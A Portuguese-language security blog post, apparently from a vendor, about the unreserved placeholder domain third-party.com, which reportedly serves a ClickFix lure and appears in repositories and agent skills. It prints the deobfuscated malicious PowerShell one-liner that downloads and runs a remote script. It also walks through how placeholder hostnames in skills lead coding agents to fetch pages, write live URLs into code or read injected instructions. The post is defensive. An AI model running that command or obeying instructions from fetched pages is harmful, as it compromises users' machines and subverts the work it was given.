A skill apontava para third-party.com, e third-party.com respondeu
A Manifold Security encontrou third-party.com, um placeholder de documentação presente em 1.500 arquivos espalhados por 1.700 repositórios, incluindo Chromium, Vercel e Brave, e dentro de skills públicas de agentes, servindo uma isca ClickFix desde junho. Alguém registrou o domínio em 1996. Ele entrega uma página limpa para tudo que pareça um scanner, e a única blocklist que o sinalizou desistiu dez dias depois. Um hostname é a única dependência para a qual nenhum lockfile tem uma linha, e o Bromure Agentic Coding responde a isso com a lista dos lugares que o workspace pode chamar.
Uma dependência que você audita tem versão, mantenedor e uma linha no lockfile. O hostname de uma URL de exemplo tem um dono e mais nada, e donos mudam de ideia.
Você pede ao agente para carregar um widget sob demanda. Ele abre uma skill que
você instalou meses atrás, lê o trecho Liquid que a skill oferece como
implementação de referência, e o src do trecho é
https://third-party.com/widget.js.
Você lê aquilo como um espaço a preencher. O agente lê um hostname que resolve, um servidor que responde e um dono que decide qual será a resposta. Placeholder é uma convenção entre pessoas que escrevem documentação para outras pessoas. Não é uma propriedade da string.
O domínio em 1.700 repositórios
Em 23 de setembro, Ax Sharma e Cody Nash, da Manifold Security,
publicaram uma análise
de third-party.com, um domínio que a maioria dos desenvolvedores conhece como
enchimento.
The Hacker News cobriu o caso no dia seguinte.
Desde pelo menos junho de 2026 o domínio serve uma isca ClickFix: a página coloca
um comando na sua área de transferência e então pede que você o cole em algum
lugar que o execute.
Uma frase da análise carrega toda a premissa: “Diferentemente de example[.]com,
third-party[.]com não é reservado pela IANA. Qualquer um poderia registrá-lo, e
alguém registrou.” Alguém o registrou em 1996 pela Network Solutions, e desde
então ele mudou de mãos como qualquer outro domínio, com trinta anos de histórico
limpo atrás de si.
Uma busca de código no GitHub retorna mais de 1.500 arquivos em mais de 1.700
repositórios. A Manifold cita Chromium, Sanity, Vercel, Brave e HackTricks entre
eles. E third-party.com tem companhia: o The Hacker News conta mais treze
placeholders não reservados que hoje servem scareware, falsos alertas de
segurança e golpes de investimento, entre eles yourdomain.com, yoursite.com,
myapp.com, acme.com, company.com e vendor.com, em centenas de milhares de
arquivos no GitHub e centenas de skills de agentes.
Um navegador Windows recebe uma falsa página de verificação da Cloudflare. O
JavaScript escreve na área de transferência por meio de um textarea oculto e de
um evento copy sequestrado, e a página manda você apertar Win+R, depois Ctrl+V,
depois Enter. Desofuscado, o conteúdo da área de transferência é:
powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"
irm baixa um script por HTTPS, iex o executa em memória, e 2>$null engole
os erros. A página acrescenta uma string-chamariz, “Security check, I'm not a
robot, Verification ID” e alguns dígitos, para que a caixa Executar mostre algo
parecido com o que a página pediu.
Ele entrega uma página limpa para tudo que verifica
A carga importa menos do que a seleção. O servidor escolhe quem a vê, requisição por requisição.
A Manifold, literalmente: “Consulte este domínio a partir de uma faixa de datacenter, de um crawler Linux, de qualquer coisa que não seja a vítima pretendida, e ele devolve uma página limpa.” Um Mac recebe uma recusa: “macOS is not supported. This website requires a Windows PC to access.” A isca dispara para o visitante para quem o operador a escreveu.
A blocklist do IPFire sinalizou o domínio em 7 de julho de 2026 e o retirou dez dias depois, em 17 de julho. Quem mantém aquela lista não conseguiu reproduzir a resposta maliciosa, porque o servidor não a serve para eles. Três meses depois, o domínio está no ar, ainda encoberto, e ainda presente em 1.700 repositórios.
Feeds de reputação não têm nada a carregar aqui, e não existe advisory ao qual se inscrever. Ninguém comprometeu este domínio. Alguém é dono dele.
Os portadores incluem as skills do seu agente
A Manifold foi procurar nos lugares que os agentes leem e encontrou a string em três skills públicas.
shopify-expert, em jeffallan/claude-skills (cerca de 11.000 estrelas), a usa
num trecho Liquid de carregamento sob demanda de um widget de terceiros.
alova-server-usage, em alovajs/skills, a usa num exemplo de gateway OAuth. E
dynamic-dashboard-builder, da ClawHub, a usa dentro de um bloco rotulado
“Wrong: Hardcoded endpoint, NEVER do this.”
Esse exemplo de advertência é uma URL viva. Três chamadas de ferramenta depois, quando o modelo escreve o código, ele precisa ter carregado o enquadramento de não-faça-isso junto com a string, e a string é idêntica nos dois casos.
Um hostname de documentação alcança a rede de três maneiras, e uma única sessão pode percorrer as três:
- Ele o busca. Skills e documentações de servidores MCP são cheias de endpoints, e um agente que está verificando se um trecho funciona os resolve. O que volta chega ao contexto do modelo como saída de ferramenta comum.
- Ele o escreve. O trecho aterrissa no seu código-fonte, o diff passa na
revisão, e o atributo
srcque ninguém leu segue para os navegadores dos seus usuários. A Manifold documenta a isca disparando em navegadores Windows, que é o que boa parte desses usuários roda. - Ele lê instruções dele. O ClickFix se dirige a quem estiver lendo. A versão de hoje mira uma pessoa diante de um teclado Windows, e um agente Linux recebe a página de “não suportado”. O servidor já identifica seus chamadores e serve três respostas diferentes. Uma quarta resposta, para clientes que se pareçam com agentes, custa ao operador uma linha de configuração.
Um placeholder é uma dependência que ninguém declarou
O ferramental de supply chain trabalha com artefatos que têm identidade. Um pacote tem nome, versão, registro, data de publicação e mantenedor, então você pode fixá-lo, impor uma quarentena por idade, checar sua procedência e compará-lo com o da semana passada. Um hostname num comentário tem só uma dessas propriedades: um dono. Nenhuma ferramenta do seu pipeline o resolve, o registra ou avisa você quando ele muda de mãos. O controle que alcança um placeholder tem de incidir sobre conexões, e não sobre artefatos.
Dentro de um workspace Bromure
No Bromure Agentic Coding, o tráfego de saída de um workspace é uma tabela de
regras ordenada. As regras casam de cima para baixo, a primeira que casa vence, e
um controle segmentado Tráfego não correspondido define o padrão como
Permitir ou Negar. Cada regra carrega uma ação, um protocolo (tcp, udp,
web ou any), um host ou CIDR, portas e, para regras web, uma lista de
métodos HTTP. Hostnames casam por sufixo, então example.com cobre o ápice e
todos os subdomínios. A forma canônica é uma regra por linha, terminando em
default allow ou default deny:
allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny
Um hostname que existe como convenção tipográfica não está nessa lista. Você
escreveu a lista a partir dos lugares que o trabalho alcança, e strings de
enchimento não aparecem nesse conjunto. O workspace nunca precisa aprender que
third-party.com é hostil, o que ajuda, porque nenhum feed diz isso. Ele precisa
enxergar uma coisa só: third-party.com não é github.com.
Seu Mac aplica o conjunto de regras duas vezes. O switch de rede virtual casa
cada fluxo por IP de destino e por hostname capturado do DNS, em TCP e UDP, e o
proxy do host casa de novo por nome de servidor TLS e, para regras web, por
método HTTP individual. O switch desvia o tráfego das portas 80 e 443 da VM para
dentro do proxy sem nenhuma variável de ambiente envolvida e sem nada que o
convidado possa desativar. Edições de regras alcançam sessões em execução na
hora, então você pode apertar um workspace sem reiniciar um agente no meio de uma
tarefa.
A linha de Firewall alcança o seu diff
Bloquear a conexão encerra a busca. Tirar a string do seu código-fonte exige a linha.
Cada veredito do firewall aterrissa na janela Security Timeline como uma
entrada de Firewall (a linha de exemplo do próprio manual diz evil.example:443 tcp — blocked), numa única tabela cronológica ao lado de trocas de credenciais,
decisões de supply chain, aplicações de guardrails e detecções de injeção de
prompt, com cores e filtros.
Na primeira vez que qualquer coisa na sessão resolver um hostname que você não
listou, aquele hostname está na sua tela com um carimbo de tempo e o workspace de
onde veio. Você volta ao diff, acha o atributo src e o corrige antes que a
branch seja mesclada. A saída de rede sozinha não alcança essa metade da
história, porque no caso do “ele o escreve” é o navegador de outra pessoa que faz
a requisição perigosa, semanas depois.
Mais dois controles ficam no caminho, e vale a pena ligar os dois.
Os detectores de injeção de prompt pontuam conteúdo não confiável a caminho
do modelo, ou seja, conteúdo de arquivos, páginas web e saídas de ferramenta
carregadas em blocos tool_result, com um classificador Prompt Guard local que
roda no dispositivo e não envia nada para fora do Mac. Texto de ClickFix é uma
instrução dirigida a quem quer que esteja lendo, que é exatamente o formato para
o qual aquele classificador foi treinado. Ele roda no proxy do host, onde um
agente dentro da VM não consegue desligá-lo, e você escolhe o que uma detecção
faz: registrá-la, pausar e mostrar o texto sinalizado, ou recusar a requisição
com um HTTP 451 que o modelo nunca vê.
A fronteira de rede cobre o caso em que uma documentação convence o agente a se autenticar no placeholder. Nenhum arquivo, variável de ambiente ou processo dentro da VM guarda uma chave de API, token OAuth, segredo AWS ou chave privada SSH reais. O convidado recebe um falso que preserva a estrutura, e o host troca pelo valor real apenas para o host para o qual aquela credencial foi emitida. O proxy varre os cabeçalhos e o corpo de cada requisição de saída em busca desses falsos com um autômato de Aho-Corasick. Um deles indo para onde não pertence recebe HTTP 451 sem um byte encaminhado, pausa a VM, escreve uma linha vermelha de Credential brokering e marca o workspace como comprometido, de modo que seu próximo lançamento oferece apagar o disco e a home dele mantendo seus tokens e configurações.
Reserve os seus placeholders
example.com, example.org, example.net e o TLD .example são reservados
pela IANA, e ninguém pode comprá-los. third-party.com, acme.com e
yourcompany.com são domínios comuns. Passe um grep nas suas skills, nas suas
configurações MCP e nos seus READMEs atrás dos que ninguém reservou.
Escreva a lista de destinos uma vez
Um workspace precisa de um conjunto curto e estável de hosts: sua forja, seu registro, seu endpoint de modelo, sua API. Defina o tráfego não correspondido como Negar, e os hostnames em que ninguém pensou, placeholders inclusive, são tratados sem que ninguém precise nomeá-los.
Não coloque na allowlist só para calar um scanner
É a recomendação da própria Manifold. Adicione um domínio a uma allowlist para que uma checagem fique verde, e você prometeu confiar no dono dele para sempre, sem nunca tê-lo conhecido.
Leia as linhas de Firewall
Um hostname bloqueado que você não reconhece diz qual string o agente pegou, e aponta a parte do diff onde você vai encontrá-la.
Alguém comprou um domínio
Ninguém envenenou um registro, tomou uma conta de mantenedor, fez typosquatting de um pacote, subverteu um pipeline de CI ou enganou um modelo. Alguém comprou um domínio que estava à venda, do jeito que estava à venda desde 1996, e o apontou para um servidor web.
A indústria respondeu ao risco de supply chain dando aos artefatos identidades melhores: atestados de procedência, assinaturas sigstore, SBOMs, digests fixados. Esse trabalho é bom, e não toca nisto, porque a coisa presente em 1.700 repositórios é uma string, e não um artefato. Desenvolvedores a copiaram de um README para o seguinte durante anos, e ela existe como coisa real pela duração de uma resolução DNS e de uma conexão TCP.
Governe esse momento. Dê ao workspace uma lista dos lugares para onde o trabalho vai, aplique-a em algum lugar que o agente não alcance, e leia as linhas em busca de nomes que você não colocou lá. Um placeholder que não resolve volta a ser o pedaço inofensivo de tipografia que você imaginava que fosse.